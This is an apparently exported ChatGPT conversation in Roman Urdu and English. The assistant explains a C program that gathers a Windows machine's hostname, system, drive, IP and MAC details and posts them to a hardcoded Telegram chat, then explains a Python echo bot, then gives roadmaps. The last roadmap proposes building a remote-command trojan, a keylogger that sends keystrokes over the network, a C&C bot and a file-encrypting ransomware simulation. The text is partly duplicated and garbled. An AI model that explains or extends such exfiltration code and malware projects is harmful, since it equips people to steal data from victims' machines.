1. `WinHttpSendRequest`: Yeh function server pe HTTP request bhejta hai. Ismein `Content-Type`
header specify karta hai jo batata hai data ka format àpplication/x-www-form-urlencoded` hai.
Urdu: Yeh function message ko server ko bhejta hai specific format mein.
2. ìf (!WinHttpSendRequest(...))`: Yeh check karta hai ke request successful hai ya nahi. Agar nahi
hui, toh error message print hota hai.
Urdu: Yeh check karta hai ke request bhejne mein koi issue toh nahi.
Closing the Session
Explanation:
1. `WinHttpCloseHandle`: Yeh function handles ko free karta hai aur resources ko release karta hai.
Urdu: Yeh function session aur connection ko close karta hai, jo memory free karta hai.
Final Output Message
printf("successfully sent to tg bot :)\n");

return 0;
}
Explanation:
1. `printf`: Yeh console pe message print karta hai agar data successfully send ho gaya ho.
Urdu: Yeh user ko batata hai ke message successful gaya hai.
2. `return 0;`: Yeh function ko end karta hai aur signal deta hai ke koi error nahi hua.
Urdu: Yeh function ko safely end karta hai aur signal deta hai ke kaam poora hua.
Now, let's move on to explaining the Python bot code!
Hn ab python ku be same explain krdo detailed kasiy saat
Let's go through the Python bot code line-by-line in detail, just like before!
Importing Required Modules
python
import logging
from telegram.ext import Application, CommandHandler, ContextTypes, MessageHandler, filter
s
Explanation:
1. ìmport logging`: Yeh line Python ka built-in `logging` module import kar rahi hai, jo humein
errors aur events ko track karne mein madad karta hai. Yeh especially useful hota hai debugging
ke liye.
Urdu: Yeh module errors aur important events ko track karne ke liye use hota hai, taake
hamain program chalate waqt agar koi issue aaye toh wo pata chale.
2. `from telegram import ForceReply, Update`: Yeh Telegram bot library se `ForceReply` aur Ùpdate`
classes ko import karta hai. `ForceReply` class messages mein reply force karne ke liye hai, aur
Ùpdate` mein messages aur events ki information hoti hai.
Urdu: Yeh classes humein Telegram messages handle karne aur force reply bhejne mein
help karti hain.
3. `from telegram.ext import Application, CommandHandler, ContextTypes, MessageHandler,

filters`: Yeh bhi Telegram bot library se kuch aur components import karta hai:
Àpplication`: Yeh bot ko initialize karne aur run karne mein help karta hai.
`CommandHandler`: Yeh specific commands (jaise `/start`) handle karta hai.
`ContextTypes`:Yeh message context ko define karta hai, jo bot ko messages ke upar

actions lene mein madad karta hai.
`MessageHandler`: Yeh non-command messages ko handle karta hai.
`filters`: Yeh filters ko specify karta hai, jaise ke text ya command filter.
Urdu: Yeh components bot ke different tasks ko manage aur control karne mein madad
karte hain, jaise commands handle karna aur messages ko filter karna.
Configuring Logging
python
)
logger = logging.getLogger(__name__)
Explanation:
1. `logging.basicConfig(...)`: Yeh logging format set karta hai jo events log mein save hote hain.
`format` specify karta hai ke har log entry mein timestamp, module name, level aur message
hoga, aur `level=logging.INFO` se logging level ÌNFO` set hota hai.
Urdu: Yeh specify karta hai ke logging kaise aur kis detail mein hoga. Yeh helpful hota hai
jab humein events trace karne hote hain.
2. `logging.getLogger("httpx").setLevel(logging.WARNING)`: Yeh "httpx" logger ke liye logging level

set karta hai, jo ke warning messages aur usse higher levels ko hi show karega.
Urdu: Yeh ensure karta hai ke sirf zaroori errors show hoon jo "httpx" module se related
hain.
3. `logger = logging.getLogger(__name__)`: Yeh logger instance create karta hai jo `__name__` ke

saath attach hota hai, takay hum specific module ke logs ko identify kar saken.
Urdu: Yeh ek specific logger instance banata hai jo isi code file ke events track karega.
Defining the Start Command Handler
python

"""Send a message when the command /start is issued."""
)
Explanation:
1. àsync def start(...) -> None:`: Yeh async function define karta hai jo bot ke `/start`
command ko handle karta hai.
Urdu: Yeh function tab call hota hai jab user `/start` likhta hai aur bot isey response karta
hai.
2. ùser = update.effective_user`: Yeh ùpdate` object mein se effective user (sender) ko extract
karta hai.
Urdu: Yeh user ka data nikaalta hai jo `/start` command send karta hai.
3. àwait update.message.reply_html(...)`: Yeh bot ko message bhejne ke liye instruct karta hai, jo
user ke naam ke sath HTML format mein reply karega.
Urdu: Yeh bot ko message bhejne ko kehta hai jisme user ka naam mention hota hai aur
reply forced hota hai.
Defining the Help Command Handler
python
async def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:

"""Send a message when the command /help is issued."""
await update.message.reply_text("Help!")
Explanation:
1. àsync def help_command(...) -> None:`: Yeh bhi ek async function hai jo bot ke `/help`
command ko handle karta hai.
Urdu: Yeh function tab call hota hai jab user `/help` command bhejta hai, aur bot response
karta hai.
2. àwait update.message.reply_text("Help!")`: Yeh bot ko text message bhejne ko kehta hai jo

`Help!` show karega.
Urdu: Yeh bot ek simple text reply send karta hai jab `/help` command use kiya jaye.
Defining the Echo Handler
python
async def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:

"""Echo the user message."""
print(update.message.chat_id)
await update.message.reply_text(update.message.text)
Explanation:
1. àsync def echo(...) -> None:`: Yeh async function define karta hai jo kisi bhi non-command
message ka response ècho` ke form mein deta hai.
Urdu: Yeh function user ke messages ko repeat karta hai.
2. `print(update.message.chat_id)`: Yeh command print karta hai chat ID jo console pe dekhi ja

sakti hai.
Urdu: Yeh chat ka ID print karta hai console mein taake pata chale ke message kahan se
aaya hai.
3. àwait update.message.reply_text(update.message.text)`: Yeh bot ko wahi message repeat karne

ke liye kehta hai jo user ne bheja.
Urdu: Yeh bot ko user ka message wapis usay bhejne ke liye instruct karta hai.
Main Function to Start the Bot
python
def main() -> None:

"""Start the bot."""
application = Application.builder().token("YOUR_BOT_TOKEN").build()
Explanation:
1. `def main() -> None:`: Yeh `main` function define karta hai jo bot application ko start karega.
Urdu: Yeh bot ke core functions start karta hai.
2. àpplication = Application.builder().token("YOUR_BOT_TOKEN").build()`: Yeh bot ke liye

application instance banata hai jo Telegram token use karke initialize hota hai.
Urdu: Yeh bot ka core application set karta hai Telegram token ke saath, jo bot ko recognize
karta hai.
3. àpplication.add_handler(...)`: Yeh function different handlers add karta hai jo specific

commands (`/start`, `/help`) aur messages ko handle karte hain.
Urdu: Yeh bot ko different types ke commands aur messages handle karne ki ability deta
hai.
4. àpplication.run_polling(...)`: Yeh bot ko start karta hai jo continuously updates check karega
aur respond karega jab tak hum usay manually stop nahi karte.
Urdu: Yeh bot ko run karta hai jo updates wait aur handle karta hai jab tak program close
nahi hota.
Execution Check
python
if __name__ == "__main__":
main()
Explanation:
1. ìf __name__ == "__main__":`: Yeh check karta hai agar yeh file directly run ki ja rahi hai toh
`main` function ko call kare.
Urdu: Yeh ensure karta hai ke jab yeh code directly run ho toh `main` function execute ho.
2. `main()`: Yeh call karta hai `main` function ko, jo bot ko start karega.
Urdu: Yeh bot ko run karne ke liye call karta hai `main` function ko.
Is tarah se yeh poora Python bot code step-by-step explain ho gaya! Ab main tumhe programming
roadmap bhi bata deta hoon taake tum structured way mein seekh sako.
Ahn programing roadmap bikol same codes pe dena detailed and clear for beginners
Memory updated
Here's a detailed programming roadmap tailored specifically for beginners, focused on

understanding foundational concepts in C, C++, and Python through clear examples.
Phase 1: Getting Started with Programming Basics
1. Introduction to Programming Concepts:

Goal: Samajhna ke programming kya hai aur kaise basic concepts ko apply kiya jata hai.
Key Topics:
Variables and Data Types: Different types of data (integers, strings, booleans).
Conditional Statements: ìf`, èlse`, èlse if` for decision-making.
Loops: `for`, `while` loops to repeat actions.
Languages: Start with Python as it’s beginner-friendly, then shift to C for understanding
memory management.
Example: Write a small program to check if a number is even or odd in Python and C.
2. Learning Syntax and Structure in C, C++, and Python:

Goal: Learn syntax and structure of each language.
Key Topics:
Python: Use functions and basic structure without worrying about memory.
C: Start with basic syntax, functions, headers, and main program structure.
C++: Similar to C, but add object-oriented elements like classes later.
Exercise: Write a basic `Hello, World!` program in each language to practice syntax and
understand the compilation process.
Phase 2: Understanding Functions and Memory Management
3. Functions: Basics and Importance:

Goal: Understand why functions are essential in programming.
Key Topics:
Creating and using functions (`def` in Python, `void` in C).
Passing arguments and returning values.
Languages: Practice in C to see function declarations and definitions. Try `def` in Python
for simpler examples.
Exercise: Create a function that takes a number and returns its square in both C and
Python.
4. Memory Management (C Focus):

Goal: Understand memory allocation and pointers in C, essential for lower-level
programming.
Key Topics:
Memory basics (stack vs. heap).
Using pointers to manage memory manually.
`malloc` and `free` for dynamic memory allocation.
Exercise: Write a C program to allocate memory for an integer array dynamically, fill it with
values, and then free the memory.
Phase 3: Mastering Object-Oriented Programming (OOP) with C++
5. Classes and Objects:

Goal: Build an understanding of OOP principles like classes and objects.
Key Topics:
Define and use classes to create objects.
Constructors and destructors.
Understanding how methods work inside classes.
Languages: C++ is ideal for this, as it’s designed around OOP.
Exercise: Create a simple class in C++ for a "Car" that includes attributes like color and
model and methods like `start` and `stop`.
6. OOP Principles (Inheritance, Encapsulation, Polymorphism):

Goal: Use advanced OOP concepts to create efficient and organized code.
Key Topics:
Inheritance: Extending classes to create hierarchical structures.
Encapsulation: Keeping class details hidden using access specifiers (e.g., `private`,
`public`).
Polymorphism: Using overridden methods to allow different actions based on object
types.
Exercise: Build an inheritance structure for a "Vehicle" class in C++, with derived classes like
"Car" and "Bike."
Phase 4: Working with Libraries and Modules
7. Using Standard Libraries in C and Python:

Goal: Utilize pre-built libraries to streamline code.
Key Topics:
C Standard Library: `stdio.h`, `stdlib.h`, etc., for file handling, input/output.
Python Standard Library: Modules like `math`, `random`, `datetime`.
Exercise: Write a program in Python that generates a random number and one in C that
reads and writes to a file.
8. Understanding Third-Party Libraries:

Goal: Use libraries for added functionality, like `requests` in Python or `Boost` in C++.
Key Topics:
Install and use third-party libraries.
Documentation and API usage.
Exercise: Build a Python program to fetch data from an API using `requests`.
Phase 5: Advanced Topics and Project Work
9. Working with APIs and Networking (Python Focus):
Goal: Understand how to work with APIs and basic networking in Python.
Key Topics:
Making HTTP requests and processing responses.
Sending and receiving data with libraries like `requests` (Python).
Exercise: Write a bot that sends messages via an API (like Telegram), similar to the Python
bot code above.
10. File I/O and System Interaction:

Goal: Learn how to interact with files and system information.
Key Topics:
File handling in C (`fopen`, `fread`, `fwrite`) and Python (òpen`, `read`, `write`).
System information retrieval and manipulation.
Exercise: Write a program in C and Python that reads from and writes to a text file,
handling errors if files don’t exist.
11. Building a Small Project:

Goal: Apply everything you’ve learned in a complete project.
Project Ideas:
Create a command-line contact manager.
Build a Telegram bot (use the provided code as a reference).
Create a system information retrieval tool (similar to the C code).
Phase 6: Continuous Learning and Practice
Practice Regularly: Complete coding exercises daily on platforms like LeetCode or HackerRank
to reinforce concepts.
Read Documentation: Familiarize yourself with the official documentation for C, C++, and
Python.
Expand Skills: Explore advanced C++ and Python concepts like STL (Standard Template Library in
C++) or asynchronous programming in Python.
This roadmap should provide a clear, step-by-step journey to mastering programming in C, C++, and
Python for real-world applications!
But i need clear, step-by-step journey to mastering programming in C, C++, and Python for
Malware and Anti Malware and Ransomware and Anti Ransomware for educational purposes also
you are required to give me a detailed one along with introduction to main topics and their
practical code also there other sub topics
Memory updated
Here's a detailed roadmap specifically for learning programming in C, C++, and Python for
educational purposes in malware, anti-malware, ransomware, and anti-ransomware development.
This roadmap covers key topics, subtopics, practical examples, and foundational skills required for
understanding the field.
Phase 1: Foundational Skills and Basic Programming Concepts
1. Basic Programming in C, C++, and Python:

Goal: Learn the syntax, structure, and fundamental programming concepts in each
language.
Key Topics:
C: Basic syntax, control structures, pointers, and memory management.
C++: Object-oriented programming (OOP), inheritance, polymorphism.
Python: Simple syntax, file handling, libraries like òs`, `sys`, and basic networking.
Practical Example:
Write a Python script to check file types, a C program for memory allocation, and a
C++ program demonstrating classes.
2. Understanding Operating Systems and Networking Basics:
Goal: Gain a basic understanding of operating systems (OS) and networking since malware
often interacts with these components.
Key Topics:
Operating Systems: Processes, memory management, system calls.
Networking: TCP/IP, sockets, client-server communication.
Practical Example:
Write a simple client-server program in C and Python to understand socket
programming.
Phase 2: System Programming and Memory Management (C and C++ Focus)
3. Advanced Memory Management and Pointers:

Goal: Learn to control memory manually, a crucial skill for malware development and
analysis.
Key Topics:
Dynamic memory allocation in C (`malloc`, `free`).
Pointers, arrays, and pointer arithmetic.
Understanding the stack, heap, and memory layout.
Practical Example:
Write a C program that allocates and deallocates memory dynamically and another to
understand buffer overflows.
4. System Calls and Low-Level OS Interaction:

Goal: Understand how to interact with OS features, crucial for both malware and anti-
malware work.
Key Topics:
Using system calls (èxec`, `fork` in C, `CreateProcess` in Windows).
File descriptors, file permissions.
Low-level file and process manipulation.
Practical Example:
Write a program in C that lists processes on a Linux system, similar to the `ps`
command.
Phase 3: Malware Basics and Reverse Engineering
5. Introduction to Malware Types and Techniques:

Goal: Learn the types of malware (e.g., trojans, viruses, worms, ransomware) and how they
work.
Key Topics:
Common malware functionalities: persistence, obfuscation, data exfiltration.
Understanding basic encryption techniques used in ransomware.
Practical Example:
Implement a simple, educational trojan that can execute commands on a remote
machine.
6. Reverse Engineering and Static Analysis (C and C++ Focus):

Goal: Learn how to analyze compiled binaries to understand malware behavior.
Key Topics:
Basics of reverse engineering, using tools like IDA Pro and Ghidra.
Analyzing binaries, understanding assembly.
Practical Example:
Decompile a simple C++ program and analyze its functionality through assembly.
Phase 4: Network Communication and Data Exfiltration Techniques
7. Socket Programming and Network Traffic Analysis:

Goal: Master the fundamentals of network communication, data exfiltration, and network-
based malware.
Key Topics:
Building TCP/UDP connections, DNS tunneling.
Packet sniffing using libraries (e.g., `pcap` in C, `scapy` in Python).
Practical Example:
Write a Python program that captures network packets or a simple keylogger that
sends keystrokes over the network.
8. Creating a Command and Control (C&C) System (Educational):

Goal: Understand how C&C works to learn about defensive techniques.
Key Topics:
Basics of client-server communication, encryption, and obfuscation.
HTTP-based C&C, API usage.
Practical Example:
Write a simple bot in C that connects to a server to receive and execute commands
(strictly for educational purposes).
Phase 5: Cryptography and Encryption (Ransomware Basics)
9. Introduction to Cryptography:
Goal: Understand cryptography used in ransomware for file encryption.
Key Topics:
Symmetric and asymmetric encryption (e.g., AES, RSA).
Hashing algorithms and their applications.
Practical Example:
Write a simple Python script that uses AES encryption to encrypt text.
10. Building an Educational Ransomware Simulation:

Goal: Implement a basic ransomware model to understand encryption in file access.
Key Topics:
Encrypting and decrypting files.
Generating and managing encryption keys.
Practical Example:
Write a Python script that encrypts files in a folder and then decrypts them with a
password.
Phase 6: Anti-Malware Development and Detection Techniques
11. Developing Anti-Malware Techniques (C++ and Python Focus):

Goal: Learn techniques to detect and mitigate malware.
Key Topics:
Signature-based and behavior-based detection.
Memory analysis, checking running processes.
Practical Example:
Write a Python script to scan files for known signatures or hash values of common
malware.
12. Static and Dynamic Analysis Tools:

Goal: Build tools for malware analysis and detection.
Key Topics:
Static analysis tools (e.g., file hash checkers).
Dynamic analysis tools to observe behavior (e.g., sandboxing techniques).
Practical Example:
Create a Python tool that monitors file changes in a directory to detect suspicious
activity.
Phase 7: Advanced Ransomware Defense Techniques
13. Behavioral Analysis and Machine Learning:

Goal: Explore AI and ML techniques for identifying patterns in malware behavior.
Key Topics:
Behavioral modeling, anomaly detection.
Using machine learning libraries like `scikit-learn` in Python for basic anomaly
detection.
Practical Example:
Implement a Python script that uses a simple machine learning model to classify
normal and suspicious files.
14. Ransomware Mitigation Techniques:
Goal: Understand strategies to protect against ransomware attacks.
Key Topics:
Backup and restore systems, preventing lateral movement.
Automated response systems.
Practical Example:
Write a Python script that backs up important files and can restore them on demand.
Additional Resources and Practice
Tools to Learn:
Assembly: For reverse engineering.
IDA Pro, Ghidra: Decompile and analyze binaries.
Wireshark: Network traffic analysis.
Recommended Practice:
Practice regularly with challenges on malware analysis platforms and use online
resources for security.
Further Reading:
Explore topics in threat modeling, red teaming, and ethical hacking to advance in this
field.
This roadmap is structured to give you a deep understanding of programming and security
concepts needed to analyze, create, and defend against malware and ransomware for educational
purposes. Each phase is designed to help you build real skills for understanding malware techniques
and protective measures.
ChatGPT can make mistakes. Check important info.

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C++ Explanation for Beginners

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C++ Explanation for Beginners

program.c : #include <stdio.h>

// send data to Telegram channel using winhttp

hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,

hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0);

HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST",

// construct the request body

// set the headers

printf("successfully sent to tg bot :)\n");

// get systeminfo and send to chat via tgbot logic

// test tgbot sending message

// Get host name

// Get system information

// Get logical drive information

// Add IP address information

from telegram import ForceReply, Update

async def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:

async def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:

def main() -> None:

# on different commands - answer in Telegram

# on non command i.e message - echo the message on Telegram

# Run the bot until the user presses Ctrl-C

Pehle C++ code ko samajhte hain:

1. `#include <stdio.h>` aur doosri libraries:

2. Function: `int sendToTgBot(const char* message)`:

3. `WinHttpOpen` aur `WinHttpConnect`:

5. System Information gather karna:

6. IP Address aur MAC Address details gather karna using `GetAdaptersInfo`:

7. Main Function (`main`):

Ab aate hain Python code pe:

3. Commands (`start`, `help`, `echo`):

4. Main Function in Python:

C++ Code Explanation

Line 1: `#include <stdio.h>`

Line 2: `#include <stdlib.h>`

Line 3: `#include <string.h>`

Line 4: `#include <windows.h>`

Line 5: `#include <winhttp.h>`

Line 6: `#include <iphlpapi.h>`

Inside the Function

1. `const char* chatId = "466662506";`

2. `HINTERNET hSession = NULL;`

4. Error checking: `if (hSession == NULL) {`

5. `hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0);`

6. `HINTERNET hRequest = WinHttpOpenRequest(...);`

8. `if (!WinHttpSendRequest(hRequest, L"Content-Type: application/x-www-form-urlencoded\r\n",

`WinHttpSendRequest`: Ye request ko bhejne ka kaam karta hai.

10. `printf("successfully sent to tg bot :)\n");`

Main Function: `int main(int argc, char* argv[])`

`snprintf(test, sizeof(test), "{\"text\":\"%s\"}", message);`

Ye function call message ko Telegram bot pe bhejne ke liye.

Python Code: telebot.py

Line 1: `import logging`

Line 2-5: Logging Setup

`logging.basicConfig()`: Configures logging settings.

Line 6: `logger = logging.getLogger(__name__)`

`logger`: This variable stores the logger instance.

Functions for Bot Commands

1. `async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:`

Line 6: `logger = logging.getLogger(name)`

3. `logger = logging.getLogger(name)`: Yeh logger instance create karta hai jo `name` ke